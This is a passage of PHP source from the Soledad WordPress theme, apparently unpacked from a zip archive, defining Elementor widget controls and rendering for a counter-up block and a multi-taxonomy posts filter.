		);
		$this->add_control(
			'icon_padding', array(
				'label'     => __( 'Padding for Icon', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--icon' => 'padding: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'_image_width_height', array(
				'label'     => __( 'Image With/Height', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon--image' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
				'condition' => array( 'cup_icon_type' => 'image' ),
			)
		);
		$this->add_control(
			'icon_margin_bottom', array(
				'label'     => __( 'Margin Bottom for Icon or Image', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup_icon' => 'margin-bottom: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'title_margin_top', array(
				'label'     => __( 'Margin Top for Title', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-cup-title' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'cup_delay', array(
				'label'     => __( 'Delay', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
			)
		);
		$this->add_control(
			'cup_time', array(
				'label'     => __( 'Time', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => '',
			)
		);

		
		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'cup_icon_color', array(
				'label'     => __( 'Icon color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-counter-up .penci-cup_icon' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_responsive_control(
			'cup_icon_size', array(
				'label'     => __( 'Font size for Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-counter-up .penci-cup_icon' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'cup_number_color', array(
				'label'     => __( 'Number Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-counterup-number' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),array(
				'name' => 'cup_number_typo',
				'label'     => __( 'Typography for Number', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-counterup-number',
			)
		);
		$this->add_control(
			'cup_frefix_color', array(
				'label'     => __( 'Prefix and Suffix Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-cup-postfix,{{WRAPPER}} .penci-cup-prefix' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),array(
				'name' => 'cup_frefix_typo',
				'label'     => __( 'Typography for Prefix and Suffix', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cup-postfix,{{WRAPPER}} .penci-cup-prefix',
			)
		);

		$this->add_control(
			'cup_title_color', array(
				'label'     => __( 'Title color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-cup-title' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),array(
				'name' => 'cup_title_typo',
				'label'     => __( 'Typography for Title', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cup-title',
			)
		);

		$this->end_controls_section();
		$this->start_controls_section(
			'section_title_block',
			array(
				'label' => __( 'Heading Title', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'show_block_heading', array(
				'label'   => __( 'Show Heading Title', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'heading_title_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                  => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'style-1'           => esc_html__( 'Style 1', 'soledad' ),
					'style-2'           => esc_html__( 'Style 2', 'soledad' ),
					'style-3'           => esc_html__( 'Style 3', 'soledad' ),
					'style-4'           => esc_html__( 'Style 4', 'soledad' ),
					'style-5'           => esc_html__( 'Style 5', 'soledad' ),
					'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
					'style-7'           => esc_html__( 'Style 7', 'soledad' ),
					'style-9'           => esc_html__( 'Style 8', 'soledad' ),
					'style-8'           => esc_html__( 'Style 9 - Custom Background Image', 'soledad' ),
					'style-10'          => esc_html__( 'Style 10', 'soledad' ),
					'style-11'          => esc_html__( 'Style 11', 'soledad' ),
					'style-12'          => esc_html__( 'Style 12', 'soledad' ),
					'style-13'          => esc_html__( 'Style 13', 'soledad' ),
					'style-14'          => esc_html__( 'Style 14', 'soledad' ),
					'style-15'          => esc_html__( 'Style 15', 'soledad' ),
					'style-16'          => esc_html__( 'Style 16', 'soledad' ),
					'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
					'style-18'          => esc_html__( 'Style 18', 'soledad' ),
					'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
					'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
					'style-21'          => esc_html__( 'Style 21', 'soledad' ),
					'style-22'          => esc_html__( 'Style 22', 'soledad' ),
					'style-23'          => esc_html__( 'Style 23', 'soledad' ),
					'style-24'          => esc_html__( 'Style 24', 'soledad' ),
					'style-25'          => __( 'Style 25', 'soledad' ),
					'style-26'          => __( 'Style 26', 'soledad' ),
					'style-27'          => __( 'Style 27', 'soledad' ),
					'style-28'          => __( 'Style 28', 'soledad' ),
					'style-29'          => __( 'Style 29', 'soledad' ),
					'style-30'          => __( 'Style 30', 'soledad' ),
				),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);
		$this->add_control(
			'heading', array(
				'label'   => __( 'Heading Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Heading Title', 'soledad' ),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);
		$this->add_control(
			'heading_title_link',
			array(
				'label'       => __( 'Title url', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'before',
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'add_title_icon', array(
				'label'     => __( 'Add icon for title?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => '',
				'separator' => 'before',
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'block_title_icon', array(
				'label'     => __( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICON,
				'default'   => 'fas fa-star',
				'label_block' => true,
				'condition' => array(
					'add_title_icon' => 'yes',
					'show_block_heading' => 'yes'
				),
			)
		);
		$this->add_control(
			'block_title_ialign', array(
				'label'     => __( 'Icon Alignment', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'left',
				'options'   => array(
					'left'  => esc_html__( 'Left', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
				),
				'condition' => array(
					'add_title_icon' => 'yes',
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'block_title_align', array(
				'label'   => __( 'Heading Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''       => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' ),
				),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->add_control(
			'heading_icon_pos', array(
				'label'     => __( 'Align Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''              => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'pciconp-right' => esc_html__( 'Right', 'soledad' ),
					'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
				),
				'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
			)
		);
		$this->add_control(
			'heading_icon', array(
				'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''             => esc_html__( 'Default ( follow Customize )', 'soledad' ),
					'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
					'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
					'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
					'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
					'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
					'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
					'pcicon-file'  => esc_html__( 'File', 'soledad' ),
					'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
					'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
				),
				'condition' => array( 'heading_title_style' => array( 'style-15' ) ),
			)
		);

		$this->add_control(
			'block_title_marginbt', array(
				'label'     => __( 'Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-homepage-title' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array(
					'show_block_heading' => 'yes'
				),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-counter-up';
		$css_class .= ' penci-style-' . $settings['cup_style'];
		$css_class .= ' penci-counterup-' . $settings['cup_align'];
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php
			if( isset( $settings['show_block_heading'] ) && $settings['show_block_heading'] ) {
				$this->markup_block_title( $settings, $this );
			}
			?>
			<div class="penci-counter-up_inner">
				<?php
				if ( 'icon' == $settings['cup_icon_type'] ) {

					if( ! empty( $settings['cup_icon'] ) ) {
						$this->add_render_attribute( 'i', 'class', 'penci-cup_iconn--i ' . $settings['cup_icon'] );
						$this->add_render_attribute( 'i', 'aria-hidden', 'true' );

						echo '<div class="penci-cup_icon penci-cup_icon--icon">';
						echo '<i ' . $this->get_render_attribute_string( 'i' ) . '></i>';
						echo '</div>';
					}
				} elseif ( ! empty( $settings['cup_image']['url'] ) ) {
					$this->add_render_attribute( 'image', 'src', $settings['cup_image']['url'] );
					$this->add_render_attribute( 'image', 'alt', Control_Media::get_image_alt( $settings['cup_image'] ) );
					$this->add_render_attribute( 'image', 'title', Control_Media::get_image_title( $settings['cup_image'] ) );

					echo '<div class="penci-cup_icon penci-cup_icon--image">';
					echo  Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail', 'cup_image' );
					echo  '</div>';
				}
				$data_delay  = $settings['cup_delay'] ? $settings['cup_delay'] : 0;
				$data_time   = $settings['cup_time'] ? $settings['cup_time'] : 2000;
				$data_number = $settings['cup_number'] ? $settings['cup_number'] : 0;
				?>
				<div class="penci-cup-info">
					<div class="penci-cup-number-wrapper">
				<span class="penci-span-inner">
				<?php if ( $settings['cup_prefix_number'] ): ?><span class="penci-cup-label penci-cup-prefix"><?php echo do_shortcode( $settings['cup_prefix_number'] ); ?></span><?php endif; ?>
					<span class="penci-counterup-number" data-delay="<?php echo $data_delay; ?>" data-time="<?php echo $data_time; ?>" data-count="<?php echo $data_number; ?>">0</span>
					<?php if ( $settings['cup_suffix_number'] ): ?><span class="penci-cup-label penci-cup-postfix"><?php echo do_shortcode( $settings['cup_suffix_number'] ); ?></span><?php endif; ?>
				</span>
					</div>
					<?php if ( $settings['cup_title'] ): ?>
						<div class="penci-cup-title"><?php echo $settings['cup_title']; ?></div><?php endif; ?>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     N\&O    D  inc/elementor/modules/penci-multi-taxonomies-posts-filter/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMultiTaxonomiesPostsFilter;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-multi-taxonomies-posts-filter';
	}

	public function get_widgets() {
		return array( 'PenciMultiTaxonomiesPostsFilter' );
	}
}
PK     N\Uo5  i  inc/elementor/modules/penci-multi-taxonomies-posts-filter/widgets/penci-multi-taxonomies-posts-filter.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMultiTaxonomiesPostsFilter\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Typography;
use WP_Query;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMultiTaxonomiesPostsFilter extends Base_Widget {

	public function get_name() {
		return 'penci-multi-taxonomies-posts-filter';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Multi Taxonomies Posts Filter', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-button';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'posts', 'filter', 'penci', 'taxonomies' );
	}

	public function get_script_depends() {
		return [ 'mtp-filters' ];
	}

	protected function register_controls() {

		$this->start_controls_section( 'section_general_content', array(
			'label' => __( 'General Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'tax_position', array(
			'label'   => __( 'Taxonomy Posistion', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'left',
			'options' => [
				'left'  => __( 'Left', 'soledad' ),
				'right' => __( 'Right', 'soledad' ),
			],
		) );

		$this->add_control( 'tax_sticky', array(
			'label'     => __( 'Enable Sticky', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
		) );

		$this->add_responsive_control( 'tax_sizes', array(
			'label'      => __( 'Taxonomy List Column Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%' ),
			'range'      => array( '%' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-mtp-filters-wrapper' => '--sidebar: {{SIZE}}%;'
			)
		) );

		$this->add_responsive_control( 'tax_spacing', array(
			'label'     => __( 'Spacing Between Taxonomy List & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-wrapper' => '--spacing: {{SIZE}}px;'
			)
		) );

		$this->end_controls_section();


		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'Taxonomies', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$tax_options = [];

		foreach ( get_object_taxonomies( 'post', 'object' ) as $tax_name => $tax_info ) {
			if ( ! in_array( $tax_name, [ 'post_format', 'elementor_library_type', 'penci_block_category' ] ) ) {
				$tax_options[ $tax_name ] = $tax_info->label;
			}
		}

		$this->add_control( 'tax', array(
			'label'   => __( 'Taxonomy', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => $tax_options,
			'default' => 'category',
		) );

		$this->add_control( 'taxonomies_ex', [
			'label'       => esc_html__( 'Select the Excluded Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'taxonomies_in', [
			'label'       => esc_html__( 'Select the Included Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'orderby', array(
			'label'   => __( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'term_id',
			'options' => [
				'term_id' => __( 'ID', 'soledad' ),
				'name'    => __( 'Name', 'soledad' ),
				'slug'    => __( 'Slug', 'soledad' ),
				'count'   => __( 'Count', 'soledad' ),
			],
		) );

		$this->add_control( 'order', array(
			'label'   => __( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'DESC',
			'options' => [
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			],
		) );

		$this->add_control( 'count', array(
			'label' => __( 'Show posts count?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'maxitems', array(
			'label'   => __( 'Limit Terms to Show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 10,
		) );

		$this->add_control( 'ajax_loading_style', array(
			'type'    => Controls_Manager::SELECT,
			'label'   => esc_html__( 'Loading Icon Style', 'soledad' ),
			'default' => 'df',
			'options' => [
				'df' => __( 'Follow Customize', 'soledad' ),
				's9' => __( 'Style 1', 'soledad' ),
				's2' => __( 'Style 2', 'soledad' ),
				's3' => __( 'Style 3', 'soledad' ),
				's4' => __( 'Style 4', 'soledad' ),
				's5' => __( 'Style 5', 'soledad' ),
				's6' => __( 'Style 6', 'soledad' ),
				's1' => __( 'Style 7', 'soledad' ),
			],
			//'label_block' => true,
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_post_listing', array(
			'label' => esc_html__( 'Post Settings', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'post_orderby', array(
			'label'   => __( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'date',
			'options' => [
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __( 'Post ID', 'soledad' ),
				'modified'      => __( 'Modified Date', 'soledad' ),
				'title'         => __( 'Post Title', 'soledad' ),
				'rand'          => __( 'Random Posts', 'soledad' ),
				'comment_count' => __( 'Comment Count', 'soledad' ),
				'most_liked' 	=> __( 'Most Liked', 'soledad' ),
				'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __( 'Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
			],
		) );

		$this->add_control( 'post_order', array(
			'label'   => __( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'DESC',
			'options' => [
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			],
		) );

		$this->add_control( 'posts_per_page', array(
			'label'   => __( 'Posts Per Page', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 10,
		) );

		$this->add_control( 'column', array(
			'label'   => __( 'Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'default' => '1',
		) );

		$this->add_control( 'tab_column', array(
			'label'   => __( 'Columns on Tablet', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
			),
			'default' => '',
		) );

		$this->add_control( 'mb_column', array(
			'label'   => __( 'Columns on Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
			),
			'default' => '',
		) );

		$this->add_responsive_control( 'hgap', array(
			'label'     => __( 'Horizontal Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'vgap', array(
			'label'     => __( 'Vertical Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'imggap', array(
			'label'     => __( 'Space Between Image & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'render_type'          => 'template',
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'paging!' => [ 'none', 'nextprev' ] ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_image', array(
			'label' => esc_html__( 'Image', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'hide_thumb', array(
			'label'        => __( 'Hide Featured Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'imgpos', array(
			'label'   => __( 'Image Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'left'  => 'Left',
				'right' => 'Right',
				'top'   => 'Top',
			),
			'default' => 'left',
		) );

		$this->add_responsive_control( 'imgwidth', [
			'label'      => __( 'Image Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                                             => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content'                       => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				'{{WRAPPER}} .pcsl-imgpos-left.pcsl-hdate .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right.pcsl-hdate .pcsl-content' => 'width: calc( 100% - var(--pcsl-dwidth) - {{SIZE}}{{UNIT}} );',
			],
		] );

		$this->add_control( 'image_align', array(
			'label'                => __( 'Image Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'marin-right: auto;',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto;',
			),
			'conditions'           => [
				'relation' => 'and',
				'terms'    => [
					[
						'name'     => 'imgpos',
						'operator' => '==',
						'value'    => 'top'
					],
					[
						'name'     => 'imgwidth[size]',
						'operator' => '!=',
						'value'    => ''
					]
				]
			]
		) );

		$this->add_responsive_control( 'img_ratio', array(
			'label'     => __( 'Image Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'nocrop!' => 'yes' ),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'nocrop', array(
			'label'        => __( 'No Crop Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'description'  => __( 'To make it works, you need to select Image Size above is "Penci Masonry Thumb" or "Penci Full Thumb" or "Full"', 'soledad' ),
		) );

		$this->add_control( 'imgtop_mobile', array(
			'label'        => __( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_postmeta', array(
			'label' => esc_html__( 'Post Meta Data', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'post_meta', array(
			'label'    => __( 'Showing Post Meta', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'default'  => array( 'title', 'author', 'date' ),
			'multiple' => true,
			'options'  => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'title'   => esc_html__( 'Title', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
			),
		) );

		$this->add_control( 'primary_cat', array(
			'label'        => __( 'Show Primary Category Only', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
			'label_on'     => __( 'On', 'soledad' ),
			'label_off'    => __( 'Off', 'soledad' ),
			'return_value' => 'on',
			'default'      => '',
		) );

		$this->add_control( 'title_length', array(
			'label'   => __( 'Custom Title Words Length', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'default' => '',
		) );

		$this->add_control( 'dformat', array(
			'label'   => __( 'Date Format', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''        => 'Default',
				'timeago' => 'Time Ago',
				'normal'  => 'Normal',
			),
			'default' => 'timeago',
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Show Post Format Icons', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
